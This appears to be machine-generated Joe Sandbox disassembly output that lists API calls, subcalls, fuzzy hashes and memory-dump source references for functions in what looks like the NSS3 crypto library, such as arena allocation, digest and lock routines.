PR_Now.NSS3 ref: 6CAB8C7C

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB8CB0
TlsGetValue.KERNEL32 ref: 6CAB8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CAB8CE5
PR_Unlock.NSS3(?), ref: 6CAB8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CAB8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB8D93

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: d3d6b1fea2dd6dc25ef0b76bf0969ebfa7ffdffbdf610de3da17986c2ba611f9
Instruction ID: 333fd75123a7f5e4fd05b50d7e7cd15e2461e08fd9abae18f53679a044a7baac
Opcode Fuzzy Hash: d3d6b1fea2dd6dc25ef0b76bf0969ebfa7ffdffbdf610de3da17986c2ba611f9
Instruction Fuzzy Hash: F7312575A01216ABD7009F6CDC4079A7778BF45318F18013AEA1967B50D730A9A4CBC1

Function 6CAF9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CAF9C5B), ref: 6CAF9D82

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CAF9C5B), ref: 6CAF9DA9

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF136A
Part of subcall function 6CAF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF137E
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?), ref: 6CAF13CF
Part of subcall function 6CAF1340: PR_Unlock.NSS3(?,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CAF9C5B), ref: 6CAF9DCE

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF13F0
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,?,?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CAF1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CAF9C5B), ref: 6CAF9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CAF9C5B), ref: 6CAF9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CAF9C5B), ref: 6CAF9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CAF9C5B), ref: 6CAF9E91

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CAF1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CAEFAAB,00000000), ref: 6CAF157E
Part of subcall function 6CAF1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CAEFAAB,00000000), ref: 6CAF1592
Part of subcall function 6CAF1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CAF1600
Part of subcall function 6CAF1560: PL_ArenaRelease.NSS3(?,?), ref: 6CAF1620
Part of subcall function 6CAF1560: PR_Unlock.NSS3(?), ref: 6CAF1639

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 8ff91af4bbc160abad1904a25fd869e96f05b381836bdd7ec70daeedc53aa410
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 144184B4601606AFE740DF25D940BA1B7A1FF45348F548128E9284BF91EB73E479CF90

Function 6CABDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CABDDEC

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CABDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CABDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CABDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CABDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CABDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABDECC

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: a1afe6d3e163a7f457f646fb34670965b434256427eaad0709bdf8567875b5be
Instruction ID: c4020d2a669c58cde095eccf60794ff3e8c83484c6ff0352ddeaf6ba8ca692b0
Opcode Fuzzy Hash: a1afe6d3e163a7f457f646fb34670965b434256427eaad0709bdf8567875b5be
Instruction Fuzzy Hash: 7331B5B2D002146BEB00AE64AD41BBB76BC9F54608F090175FD09B7705FB31D998C6E2

Function 6CA97E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA97E48

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA97E5B

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA97E7B

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBB925C,?), ref: 6CA97E92

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA97EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CA97ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CA97EFA

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: bd41ef60a594708f31614557e1598dd6cf208849620116f84ab974aba39a6a88
Instruction ID: 19c3628427c42bcf74e53197e436ae1275e30a71d7e33ee4a745e2e434823be2
Opcode Fuzzy Hash: bd41ef60a594708f31614557e1598dd6cf208849620116f84ab974aba39a6a88
Instruction Fuzzy Hash: BE31A1B2E102119BEB108B659D41B6B73F8AF44658F194924ED55EBB41F730EC48C7F0

Function 6CAEDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CAED9E4,00000000), ref: 6CAEDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CAED9E4,00000000), ref: 6CAEDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CAED9E4,00000000), ref: 6CAEDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAEDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAEDCAD

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: c9d684e7117a3356059f417a9784e00d2f51d803423995e54dc19e83f8fbfa4b
Instruction ID: 25ceefdcf97a8a2a22fc9f5217c72866e980f6dd4efdc1b4fff09d8c0a95ea18
Opcode Fuzzy Hash: c9d684e7117a3356059f417a9784e00d2f51d803423995e54dc19e83f8fbfa4b
Instruction Fuzzy Hash: CD316FB59002409FD750CF29D880A56B7F8AF89398F188429E958CBB01E771E984DBA1

Function 6CAB2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CAAE728,?,00000038,?,?,00000000), ref: 6CAB2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CAB2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2E9E
PR_Unlock.NSS3(?), ref: 6CAB2EAB
PR_Unlock.NSS3(?), ref: 6CAB2F0D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 5308ba36cac2ebde265407b19ffb3a7ca5d1d2dc6f1676e2493ef230505e1237
Instruction ID: fdd90b0d419d413a605d9c0857a8eaa5a8b5a170345f0de6d7491c095ed0da5b
Opcode Fuzzy Hash: 5308ba36cac2ebde265407b19ffb3a7ca5d1d2dc6f1676e2493ef230505e1237
Instruction Fuzzy Hash: 5531E8B5A00505ABEF016F79EC448BABB79FF45258B088275EC1897B11EB31ECA4C7D1

Function 6CAFCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CAFCD93,?), ref: 6CAFCEEE

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAFCD93,?), ref: 6CAFCEFC

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAFCD93,?), ref: 6CAFCF0B

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAFCD93,?), ref: 6CAFCF1D

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CAFCD93,?,?,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF78

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: f4920e841b9c633c18a89d47c530b980ac7bb760655625f80e227dca45e88de5
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E111C0A5E003045BFB20AA667D41BBBB5EC9F4814DF044039B929D7741FB71DA4E86A1

Function 6CAA8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAA8C1B
EnterCriticalSection.KERNEL32 ref: 6CAA8C34
PL_ArenaAllocate.NSS3 ref: 6CAA8C65
PR_Unlock.NSS3 ref: 6CAA8C9C
PR_Unlock.NSS3 ref: 6CAA8CB6

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Strings

KRAM, xrefs: 6CAA8C8F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 0ec8a79058a583bdd9221a3d1acb30272cd23d5b0922f037e90cab7dcb5eca1f
Instruction ID: 131131d1bbc41ba5319393f8923cdc4f16d5c06799b56010764dde1fbce3900d
Opcode Fuzzy Hash: 0ec8a79058a583bdd9221a3d1acb30272cd23d5b0922f037e90cab7dcb5eca1f
Instruction Fuzzy Hash: 81219FB1A056519FD700AFB9C484569FBF4FF05304F05896AD8888B701EB35D8CACF82

Function 6CB23E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_EnterMonitor.NSS3(?), ref: 6CB23E45

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

PR_EnterMonitor.NSS3(?), ref: 6CB23E5C
PR_EnterMonitor.NSS3(?), ref: 6CB23E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CB23EA6

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_ExitMonitor.NSS3(?), ref: 6CB23EC0
PR_ExitMonitor.NSS3(?), ref: 6CB23ED7
PR_ExitMonitor.NSS3(?), ref: 6CB23EEE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 66c696fb344f4e3e918a33e1bdd48d7188749bf67a3228b43d5a0514435a9a9f
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: D21178B1910690ABD7317E29FC02BEB77A5DB41318F440824E55D87A20E73AE92DC752

Function 6CBA2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBA2CA0
PR_ExitMonitor.NSS3 ref: 6CBA2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CBA2CD1
strdup.MOZGLUE(?), ref: 6CBA2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CBA2D27

Strings

Loaded library %s (static lib), xrefs: 6CBA2D22

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: b4cc7ee4d16f412c2df3e4de241e82ae79f99e877987e1cd41a0a4e21e0fa4df
Instruction ID: 9a09d6f250a5ec468009de6095d586b37a4e8689ce7f1a065278a6d37418047c
Opcode Fuzzy Hash: b4cc7ee4d16f412c2df3e4de241e82ae79f99e877987e1cd41a0a4e21e0fa4df
Instruction Fuzzy Hash: A91108B5605290AFEB008F66E844A6A77B4EB4531DF08843DD85DC7B41E731D849CBA3

Function 6CA9BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9BDCA

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA9BDDB

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA9BDEC

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CA9BE03

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9BE3B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
